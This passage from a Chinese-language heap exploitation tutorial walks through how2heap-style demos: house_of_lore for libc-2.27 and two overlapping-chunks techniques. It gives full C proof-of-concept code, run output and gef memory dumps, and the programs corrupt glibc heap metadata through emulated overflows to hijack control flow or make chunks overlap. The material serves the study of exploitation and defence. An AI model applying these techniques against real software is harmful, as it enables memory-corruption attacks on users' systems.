==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
READ of size 8 at 0x60c00000bf80 thread T0
    #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
    #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)

最后再给一个 libc-2.27 版本的：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);

    // fill the tcache
    int *a[10];
    int i;
    for (i = 0; i < 7; i++) {
        a[i] = malloc(0x80);
    }
    for (i = 0; i < 7; i++) {
        free(a[i]);
    }

    memset(victim, 'A', 0x80);
    void *p5 = malloc(0x10);
    memset(p5, 'A', 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[6] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    stack_buffer_2[3] = (intptr_t*)stack_buffer_1;    // 3675 bck->fd = bin;

    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);

    free((void*)victim);
    fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    void *p2 = malloc(0x100);
    fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
    fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    victim[1] = (intptr_t)stack_buffer_1;
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    void *p3 = malloc(0x40);

    // empty the tcache
    for (i = 0; i < 7; i++) {
        a[i] = malloc(0x80);
    }

    char *p4 = malloc(0x80);
    memset(p4, 'A', 0x10);
    fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
    fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);

    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+0xa8), &sc, 8);
}

$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x55674d75f260
stack_buffer_1: 0x7ffff71fb1d0
stack_buffer_2: 0x7ffff71fb1f0

Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
victim->fd: 0x7f1eba392b00
victim->bk: 0x7f1eba392b00

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
victim->fd: 0x7f1eba392b80
victim->bk: 0x7f1eba392b80

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0
The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0

Nice jump d00d

overlapping_chunks

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
    intptr_t *p1,*p2,*p3,*p4;

    p1 = malloc(0x90 - 8);
    p2 = malloc(0x90 - 8);
    p3 = malloc(0x80 - 8);
    memset(p1, 'A', 0x90 - 8);
    memset(p2, 'A', 0x90 - 8);
    memset(p3, 'A', 0x80 - 8);
    fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
    fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);

    free(p2);
    fprintf(stderr, "Freeing the chunk p2\n");

    int evil_chunk_size = 0x111;
    int evil_region_size = 0x110 - 8;
    *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
    fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");

    p4 = malloc(evil_region_size);
    fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
    fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);

    fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
    memset(p4, 'B', 0xd0);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);

    fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
    memset(p3, 'C', 0x50);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);
}

$ gcc -g overlapping_chunks.c
$ ./a.out
Now we allocate 3 chunks on the heap
p1=0x1e2b010
p2=0x1e2b0a0
p3=0x1e2b130

Freeing the chunk p2
Emulating an overflow that can overwrite the size of the chunk p2.

p4: 0x1e2b0a0 ~ 0x1e2b8e0
p3: 0x1e2b130 ~ 0x1e2b530

If we memset(p4, 'B', 0xd0), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

If we memset(p3, 'C', 0x50), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

这个比较简单，就是堆块重叠的问题。通过一个溢出漏洞，改写 unsorted bin 中空闲堆块的 size，改变下一次 malloc 可以返回的堆块大小。

首先分配三个堆块，然后释放掉中间的一个：

gef➤  x/60gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x4141414141414141
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x0000000000000091  <-- chunk 2 [be freed]
0x6020a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6020b0:	0x4141414141414141	0x4141414141414141
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x0000000000000090	0x0000000000000080  <-- chunk 3
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x4141414141414141
0x602150:	0x4141414141414141	0x4141414141414141
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x0000000000020e61  <-- top chunk
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)

chunk 2 被放到了 unsorted bin 中，其 size 值为 0x90。

接下来，假设我们有一个溢出漏洞，可以改写 chunk 2 的 size 值，比如这里我们将其改为 0x111，也就是原本 chunk 2 和 chunk 3 的大小相加，最后一位是 1 表示 chunk 1 是在使用的，其实有没有都无所谓。

gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)

这时 unsorted bin 中的数据也更改了。

接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4，这会将 chunk 2 和 chunk 3 都包含进来：

gef➤  x/60gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x4141414141414141
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x0000000000000111  <-- chunk 4
0x6020a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6020b0:	0x4141414141414141	0x4141414141414141
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x0000000000000090	0x0000000000000080  <-- chunk 3
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x4141414141414141
0x602150:	0x4141414141414141	0x4141414141414141
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x0000000000020e61  <-- top chunk
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000

这样，相当于 chunk 4 和 chunk 3 就重叠了，两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。

overlapping_chunks_2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
    unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
    int prev_in_use = 0x1;

    p1 = malloc(0x10);
    p2 = malloc(0x80);
    p3 = malloc(0x80);
    p4 = malloc(0x80);
    p5 = malloc(0x10);
    real_size_p1 = malloc_usable_size(p1);
    real_size_p2 = malloc_usable_size(p2);
    real_size_p3 = malloc_usable_size(p3);
    real_size_p4 = malloc_usable_size(p4);
    real_size_p5 = malloc_usable_size(p5);
    memset(p1, 'A', real_size_p1);
    memset(p2, 'A', real_size_p2);
    memset(p3, 'A', real_size_p3);
    memset(p4, 'A', real_size_p4);
    memset(p5, 'A', real_size_p5);
    fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
    fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
    fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
    fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
    fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
    fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

    free(p4);
    fprintf(stderr, "\nLet's free the chunk p4\n\n");

    fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
    *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE

    free(p2);

    p6 = malloc(0x1b0 - 0x10);
    real_size_p6 = malloc_usable_size(p6);
    fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);

    fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
    fprintf(stderr, "p3 before = %s\n", (char *)p3);
    memset(p6, 'B', 0xd0);
    fprintf(stderr, "p3 after  = %s\n", (char *)p3);
}

$ gcc -g overlapping_chunks_2.c
$ ./a.out
Now we allocate 5 chunks on the heap

chunk p1: 0x18c2010 ~ 0x18c2028
chunk p2: 0x18c2030 ~ 0x18c20b8
chunk p3: 0x18c20c0 ~ 0x18c2148
chunk p4: 0x18c2150 ~ 0x18c21d8
chunk p5: 0x18c21e0 ~ 0x18c21f8

Let's free the chunk p4

Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)

Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8

Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
p3 after  = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>

同样是堆块重叠的问题，前面那个是在 chunk 已经被 free，加入到了 unsorted bin 之后，再修改其 size 值，然后 malloc 一个不一样的 chunk 出来，而这里是在 free 之前修改 size 值，使 free 错误地修改了下一个 chunk 的 prev_size 值，导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的，而这里是不相邻堆块之间的。

我们需要五个堆块，假设第 chunk 1 存在溢出，可以改写第二个 chunk 2 的数据，chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉，注意看 chunk 5 的 prev_size 值：

gef➤  x/70gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x0000000000000091  <-- chunk 2
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x4141414141414141
0x6020b0:	0x4141414141414141	0x0000000000000091  <-- chunk 3
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x4141414141414141	0x4141414141414141
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x0000000000000091  <-- chunk 4 [be freed]
0x602150:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x4141414141414141
0x6021b0:	0x4141414141414141	0x4141414141414141
0x6021c0:	0x4141414141414141	0x4141414141414141
0x6021d0:	0x0000000000000090	0x0000000000000020  <-- chunk 5 <-- prev_size
0x6021e0:	0x4141414141414141	0x4141414141414141
0x6021f0:	0x4141414141414141	0x0000000000020e11  <-- top chunk
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000000000
0x602220:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
 →   Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)

free chunk 4 被放入 unsorted bin，大小为 0x90。

接下来是最关键的一步，利用 chunk 1 的溢出漏洞，将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和，即 0x90+0x90+0x1=0x121，最后的 1 是标志位。这样当我们释放 chunk 2 的时候，malloc 根据这个被修改的 size 值，会以为 chunk 2 加上 chunk 3 的区域都是要释放的，然后就错误地修改了 chunk 5 的 prev_size。接着，它发现紧邻的一块 chunk 4 也是 free 状态，就把它俩合并在了一起，组成一个大 free chunk，放进 unsorted bin 中。

gef➤  x/70gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x00000000000001b1  <-- chunk 2 [be freed] <-- unsorted bin
0x602030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x4141414141414141
0x6020b0:	0x4141414141414141	0x0000000000000091  <-- chunk 3
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x4141414141414141	0x4141414141414141
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x0000000000000091  <-- chunk 4 [be freed]
0x602150:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x4141414141414141
0x6021b0:	0x4141414141414141	0x4141414141414141
0x6021c0:	0x4141414141414141	0x4141414141414141
0x6021d0:	0x00000000000001b0	0x0000000000000020  <-- chunk 5 <-- prev_size
0x6021e0:	0x4141414141414141	0x4141414141414141
0x6021f0:	0x4141414141414141	0x0000000000020e11  <-- top chunk
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000000000
0x602220:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
 →   Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)

现在 unsorted bin 里的 chunk 的大小为 0x1b0，即 0x90*3。咦，所以 chunk 3 虽然是使用状态，但也被强行算在了 free chunk 的空间里了。

最后，如果我们分配一块大小为 0x1b0-0x10 的大空间，返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了，结果就像上面运行时打印出来的一样。

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